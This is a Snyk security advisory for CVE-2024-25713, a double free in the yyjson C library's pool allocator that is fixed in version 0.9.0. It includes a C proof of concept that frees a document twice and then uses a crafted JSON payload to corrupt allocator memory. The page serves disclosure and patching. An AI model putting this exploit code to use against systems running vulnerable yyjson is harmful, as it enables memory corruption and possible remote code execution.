Double Free Affecting github.com/ibireme/yyjson package, versions <0.9.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.58% (68th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Double Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-SWIFT-IBIREMEYYJSON-10043597
  • published6 May 2025
  • disclosed11 Feb 2024
  • creditAlsoprach

Introduced: 11 Feb 2024

CVE-2024-25713  (opens in a new tab)
CWE-415  (opens in a new tab)

How to fix?

Upgrade ibireme/yyjson to version 0.9.0 or higher.

Overview

ibireme/yyjson is a C JSON library binding

Affected versions of this package are vulnerable to Double Free due to improper loop checks in the pool_free function, which is part of the pool series allocator alongside pool_malloc and pool_realloc. An attacker can execute arbitrary code remotely by exploiting this flaw.

PoC

#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

References

CVSS Base Scores

version 3.1